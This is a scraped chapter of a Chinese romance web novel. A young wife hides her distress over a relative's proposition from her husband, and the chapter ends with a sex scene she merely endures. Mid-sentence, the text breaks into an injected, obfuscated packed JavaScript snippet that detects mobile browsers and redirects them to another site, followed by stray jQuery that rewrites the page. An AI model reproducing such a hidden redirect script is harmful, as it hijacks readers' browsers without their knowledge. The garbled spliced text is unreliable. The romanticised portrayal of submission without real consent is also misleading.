默认冷灰
24号文字
方正启体

5. 五

作者:玉寺人本书字数:K更新时间:
    周穗失魂落魄的回到老宅。


    她想直接回卧室独处一会儿,但上楼前想起江昭懿之前的交代,连忙把参汤送到老爷子休息的书房去。


    周穗原本很期待这个任务,很想和孟文昌说说话,但此刻她魂不守舍,脸色苍白,哪怕努力掩饰着也特别害怕被老人锐利的眼睛看出什么。


    还好孟文昌还迷迷糊糊的睡着,并不特别清醒,被她喂下参汤后就又休息了。


    周穗把碗筷送回厨房才回到卧室。


    关上门,回到自己密闭的空间,她隐忍许久的眼泪才落了下来。


    也不敢哭的太大声,低低的哽咽着,像一只受了伤的小动物。


    周穗不知道自己犯什么错了,居然遇到唐琛那种神经病。


    还对她提出了那种毫无尊重,不可理喻的事情。


    虽然她是在镇子里长大的,物质方面并不富足,但也是正经人家的姑娘,凭什么那人要这么侮辱自己,觉得她会答应这种近乎于道德沦丧一样的事情呢?


    周穗又害怕又生气,更有种被人看轻了自己道德底线的无力感。


    最可悲的是……她甚至觉得唐琛最后那几句话说得对。


    周穗很想告诉孟皖白这件事,可她什么证据都没有,孟皖白会信她吗?唐琛如果真的倒打一耙呢?


    他敢这么侮辱自己,不就是笃定了这个家里没有人在乎她这件事是事实吗?


    有了丑闻,不管真假,周穗都觉得自己肯定是最先被唾弃,放弃,千夫所指的那一个。


    所以她什么都不敢说。


    周穗僵硬的在床上躺着,侧躺,膝盖不自觉的蜷起用手臂圈着,是一个无意识保护自己的姿势。


    不知道过了多久,门口传来‘咔哒’一下的开门声。


    她像是受了惊的兔子,一下子从床上弹起来,望向门口。


    周穗仿佛是惊弓之鸟,外界的一举一动都能引起她的恐慌,但进来卧室的人除了孟皖白还能有谁?


    他愣了下,然后就看到她脸上挂着的泪痕。


    孟皖白眼睛一下就沉了下去,走过去捏起她的下巴仔细端详:“哭了?”


    周穗垂着眼睛,不说话。


    她哭过的痕迹很明显,否认也没用。


    孟皖白:“为什么哭?”


    “我……”周穗费力的想出一个借口,可刚开口声音却有点哑,咳嗽了两声才继续说:“我,一想到爷爷……就有些难过……”


    孟皖白眯了眯眼,本能觉得这女人在说谎。


    可她没有什么说谎的必要,而且为了老爷子哭一下午这件事也确实是她能做出来的。


    “都快六点了。”周穗本着转移话题的动机看了眼时间,倒是真的吃了一惊:“我们该下去吃饭了……”


    要不然肯定又要被教训的。


    可头昏脑胀,脚踩在地毯上都是一个踉跄。


    孟皖白手疾眼快地扶住她,把人抱上床。


    “别去了。”他说:“我知道你不想下去吃饭。”


    虽然不知道为什么周穗一副受到很大打击的样子,可她若是不想说,自己逼问只会让她这本来就封闭的性子更加沉重不安。


    孟皖白只说:“我帮你把饭拿上来。”


    周穗眨了眨眼,心中不自觉的划过一股暖流,又有些受宠若惊:“这样……好吗?”


    自己可以不下去吗?


    按照道理来说周穗自己也不会这么放肆的,可她今天真的好累好怕,想到下楼吃饭还会看到唐琛那张脸,她都想吐。


    孟皖白看着她的脸色不知怎的又有些白,长眉不自觉皱起。


    “可以。”他声音温柔,安抚她:“不舒服就好好休息。”


    周穗很感动,鼻子都有些酸了,看着他用力点头:“嗯!”


    虽然有些忐忑,偶尔她也想任性一下,不那么在乎别人的眼光。


    卧室里什么都有,她一整个晚上都不想出去。


    可能是孟皖白和江昭懿说了些什么,周穗一直不安的害怕她来信息斥责自己,可一整个晚上都很安静。


    ——对于自己这么没有礼数的举动。


    孟皖白回房后给周穗带了饭菜,自己去洗澡,等洗完后出来看到她还是时不时瞧一眼手机,小脸惶惶不安的模样,擦头发的手就一顿。


    他问:“你在担心什么?”


    “没什么。”周穗收起手机。


    “不用担心妈找你。”孟皖白走过去,垂眸看她:“我和她说过了。”


    “啊?”周穗愣住:“说……什么了?”


    “你不舒服,别来打扰。”


    周穗心脏重重的一跳。


    “这,”她恍惚道:“这不好吧?”


    孟皖白反问:“哪里不好?”


    “就……”周穗小声说:“对长辈不太礼貌。”


    毕竟是她先失礼的,她心虚嘛。


    “没什么不礼貌的,人都有不舒服的时候。”孟皖白淡淡道:“而且,也没人规定谁必须时时刻刻守礼,守规矩。”


    男人的声音很平静,说什么都有种令人安心的信服感。


    周穗想了想,轻声说:“谢谢。”


    她还是觉得自己今天不想下去吃饭是任性,但他不但帮忙解决了,还告诉她这些话。


    孟皖白没回应,沉默片刻说:“商量个事儿。”


    “啊?”


    “除了对不起,以后谢谢也少说。”


    “……”


    第二天一早两个人就出发去槐镇接阮中榕,离开老宅的时候刚刚七点出头,除了正在准备早餐的阿姨谁都没起。


    这反倒让周穗很是轻松,想到不用和任何人打招呼,她走出大门的脚步都轻快了。


    开车上高速之前,孟皖白停车去路边的早餐店买了一盒小笼包和豆浆,回来递给副驾驶的周穗。


    他们走的时候早餐都没做好,自然都没吃。


    周穗吃了两个包子就饱了,咬着吸管说:“你也吃吧。”


    “开车,不方便。”孟皖白目不斜视,淡淡道:“你喂我吧。”


    ……


    周穗犹豫片刻,用湿巾把手指擦干净,然后才慢吞吞的递了个小包子到他嘴边。


    这是她第一次喂他吃东西,真的感觉有些不好意思。


    但也没办法,她不会开车,没办法帮他分担这三个多小时的车程让他休息一下,只能帮点小忙了。


    周穗硬着头皮,把袋子里的包子全喂完。


    然后才慢慢的松了口气。


    “困了就睡会儿。”上了高速,孟皖白对她说:“还得挺久呢。”


    周穗点头:“好。”


    其实她不困,但是单独和他待这么久……没话说,会尴尬。


    所以周穗宁可闭着眼睛装睡。


    只是装着装着,倒也真的眯了一小会儿。


    再醒来的时候,车子飞速经过一片荒野,窗外划过的倒影成片,仿佛湛蓝的天和地面连成一线。


    周穗出神的望着窗外。


    “在看什么?”孟皖白发现她醒了。


    “没什么……”周穗怔怔地说:“感觉好久没看到这么开阔的风景了。”


    她又想起想要找个工作的事儿了,但现在显然是不方便说的。


    这是她总是忧虑的缘由吗?


    孟皖白思衬片刻,说:“以后周末,我可以带你出来。”


    “不,”周穗摇头:“不用了。”


    她知道他工作很忙的,周末总是很少回来,不用为了自己费这个事。


    只是周穗自以为的体贴和担当不起,在孟皖白听来是又一次的拒人于千里之外。


    多久了?还是这样。


    孟皖白嘴唇抿直,握着方向盘的手指不自觉紧了紧。


    他自问不是个有耐心的人,但是对周穗,够耐心了。


    但仿佛无论多久,她总是躲在象牙塔里,非但不肯向外迈一步,还会战战兢兢躲开他伸进去想要拉她出来的手。


    临近中午,车子终于开到了槐镇。


    镇子不算大,阮中榕和妻子住在平房,院子很开阔,里面种了许多花,还有葡萄架。


    就像周穗在孟家老宅最喜欢去花房一样,在槐镇的时候,她也最喜欢待在外公外婆家的院子里。


    只是今天周穗没心情欣赏这些在初春绽放的还算旺盛的花朵。


    他们是为了什么过来的很清楚,阮中榕同样心事重重,见了外孙女也只是勉强笑了笑。


    来不及休息就迅速上车回程,在路上阮中榕问了问关于孟文昌的病情。


    孟皖白简单说了下,稍作安抚:“外公,您别担心,爷爷身边一直有医疗团队照看着,不会有什么事的。”


    最起码,一时半会儿还不至于有事。


    可到了古稀之年的老人还有什么言外之意是听不出来的?


    孟皖白


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153418|196472||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的安慰也不能让阮中榕展颜,眉头依旧紧锁着。


    可傍晚到了孟家,见到躺在阳台上的孟文昌,阮中榕眼中闪过一丝震动,表情却飞快调整好了。


    “你这老东西。”他走过去,假装不悦:“这不挺硬朗的吗,还骗我大老远的过来。”


    孟文昌见到老朋友似乎就真的精神了许多,‘呵呵’笑着。


    孟皖白和周穗没有过多打扰两位老人的叙旧,很识相的离开了。


    “回家。”他拉着她下楼:“外公在这儿住一宿,明天再送他回去。”


    “不会……太耽误你的工作吗?”周穗迟疑的问。


    “不会。”知道她在想什么,孟皖白平静地说:“外公是过来看爷爷的,更准确地说,能让爷爷开心就是帮了孟家大忙,所以你不用担心。”


    接阮中榕过来,送他回去,折腾几个小时都是他们该尽的礼数,甚至应该为此感到感激才对。


    可面对周穗,孟皖白觉得必须把所有道理掰开了揉碎了讲才行。


    不然她总觉得受之有愧似的。


    典型的算盘珠子性格,不拨就不动。


    但讲清楚了,周穗就不胡思乱想了。


    她‘哦’了声,傻乎乎的问他:“那你晚上想吃什么啊?我回家做。”


    折腾了一天,孟皖白还没吃顿好饭呢。


    好在家里的冰箱一向存货很足,什么都有。


    孟皖白唇角轻轻抬了下:“除了鱼,什么都行。”


    “好。”周穗点点头。


    他不喜欢吃海鲜,尤其是鱼,这些她都是知道的。


    很巧的是她也不喜欢吃,一碰就过敏,所以他们两个人的家里从来不做海鲜。


    周穗回到家先焖上米饭,然后很迅速的做了一桌菜出来。


    虽然孟皖白说过不用太复杂,但她还是准备了四菜一汤。


    分量不算多,因为她食量很小,但孟皖白挺爱吃她做的菜的,一般都可以吃的很干净。


    周穗知道自己没什么擅长的,唯独厨艺算不错。


    自小在家里就磨练出来了。


    父母都太忙,上初中开始就是她负责给自己和周祁做饭,掐着时间做完吃完还得收拾干净。


    在孟家就好多了,有洗碗机,吃完把用过的碗和洗碗片丢进去就好。


    周穗擦了两遍桌子,然后去洗手池仔细的洗手。


    水流潺潺滑过指缝时,她感觉到身体自后被抱住,一股清冽的味道包围住她。


    瞬间连呼吸都有些沉重了。


    周穗感受到孟皖白温热的吻落在颈侧,身子不自觉变僵硬。


    她知道他是想做那种事了。


    可为什么……他们做的次数不频繁,甚至很少,上次就在前天,理论上不该这么快有下一次。


    是周穗不懂,做/爱这件事情不是工作,不能可丁可卯的数着时间做。


    孟皖白一直觉得该给她时间适应,可现在他认为自己应该更主动一些。


    否则,她永远也不会做出改变。


    怀里这副纤细的身子骨在发抖,孟皖白知道她不适应,而他也习惯了她的不适应。


    就是因为次数太少了,才不适。


    他这般想着,手指轻轻的动。


    周穗声音软糯,带着哭腔:“这是厨房。”


    他们从来没有试过在房间床上以外的地方,她不光害怕,还为在这毫无遮蔽的开放式厨房感到羞耻。


    求救似的回头,泪眼朦胧的看到他浅色的眼睛,黑色的泪痣,都显得很无情。


    事实也的确如此。


    孟皖白对她的示弱不为所动,修长的手指继续慢条斯理:“就我们两个。”


    无论在哪儿,不都是一样吗。


    周穗没话说了,垂落至脚踝的裙子向上窜,笔直细长的小腿暴露在空气中,像是泼了一层牛奶,白的发光。


    很快,那美丽的脚踝微微踮起,腿跟着身体一起颤。


    周穗秀气的眉头皱起,额角覆上一层薄薄的汗。


    她脸上没有半分愉悦,全是忍耐和配合,洁白的牙齿咬着殷红的唇。


    许是因为地点换了的原因,连平时隐忍的声音都不再有。


    怕成这样,也不会拒绝。


    孟皖白漆黑的眼睛里划过一丝戏谑的情绪。


    周穗大概永远不会知道,她越是表现的好欺负,在这种时候……就会越是让人想欺负。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)